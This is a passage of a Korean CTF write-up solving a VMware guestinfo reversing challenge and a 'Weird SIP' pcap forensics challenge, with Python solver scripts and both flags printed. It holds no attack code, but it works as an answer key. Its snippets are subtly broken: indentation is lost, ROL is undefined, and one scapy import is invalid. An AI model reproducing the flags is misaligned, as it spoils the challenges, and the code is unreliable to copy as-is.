0x2060에 있는 함수에서 `info-get guestinfo.<alphabet>`으로 값을 불러오고 그에 해당하는 알파벳과 xor을 한다. 그 xor된 값들을 규칙없게 모아 4byte로 pack을 해서 7개의 32byte 데이터를 만들고 각각의 데이터에 적절한 32bit bitwise rotate를 한다. 마지막으로 나온 7개를 a1, a2, ..., a7에 저장하고 이 데이터들을 가지고 `/tmp/vm` 바이너리를 실행한다. `/tmp/vm`에서 a1, a2, ..., a7값을 가져와서 비교를 하고 맞았는지 확인을 해준다.
첫째로 rotate를 할때 입력값에 따라서 rotate를 얼마나 할지 달라지는데, 이는 마지막 a7의 하위 2바이트에 0x455a가 들어간다는 것을 알고 있으므로 구할 수 있다. unpack하고 배정되었던 알파벳순으로 정렬하는건 단순한 연산이니 생략하겠다.
다만 rotate를 얼마나 하는지가 분석한 결과에 따라서 하면 제대로 안나오길래 적절히 flag포맷에 맞추어 rotate 값을 잘 조절했다.
```python=
p = [(7, 0x23C34040),(3, 0x14380438),(5, 0x6098398),(7, 0xE0E2C3),(9, 0x30585858),(29, 0x81960C),(27, 0xE8AB41C)]
c = list(b'elcvxntymrzoahwujigpqfdsbk\x00\x00')
flag = ""
for s, v in p:
v = ROL(v, 28 + s)
for t in range(4):
s = 8 * (3 - t)
flag += chr(((v >> s) & 0xFF) ^ c[0])
c = c[1:]
flag = flag[:-2]
c = "elcvxntymrzoahwujigpqfdsbk"
res = [0 for i in range(26)]
for i in range(26):
res[i] = flag[c.find(chr(i + 97))]
print("".join(res))
```
Flag: `flag{globalvar_via_vmware}`
### Weird SIP
작은 pcap이다. Wireshark가 알려주는대로 말하면, SIP protocol로 세션을 만들어서 연결을 하고 RTP로 데이터 전송을 하는데 G711형식이라고 한다.
하지만 문제가 있는데 SIP에서 handshake를 할때는 G711말고 GSM이나 telephone-event로 통신을 하겠다 라고 했는데 정작 오는 데이터는 G711이라고 말하고 있다.
그리고 RTP 패킷 순서가 엉망진창이다. 이는 sequence number나 rtp의 시간순으로 정렬하면 된다.
순서를 맞춘다음, 여기서 두가지를 할 수 있는데
1. handshake를 무시한다. 데이터 type은 G711U이다
2. 오는 데이터에 써여있는 type을 무시한다. 데이터 type은 GSM이다.
먼저 1번을 해보았는데 잡음만 들렸다. 그래서 2번을 시도했더니 여성 목소리가 문장을 읽는게 들렸다.
```python=
import scapy.all import *
cap = rdpcap('weirdsip.pcap')
arr = [21, 16, 12, 18, 17, 6, 8, 19, 15, 9, 14, 2, 1, 20, 5, 4, 10, 13, 7, 23, 3, 24, 11, 22]
ppp = [b"" for i in range(len(arr))]
i = 0
for p in cap:
i += 1
if i < 7 or i > 30:
continue
d = p["Raw"].load.split(b"ABCD")[1]
ppp[arr[0] - 1] = d
arr = arr[1:]
f = open("out.gsm", "wb")
f.write(b"".join(ppp))
f.close()
```
Flag : `hsctf{sipprotocolisatextbasedprotocollikehttp}`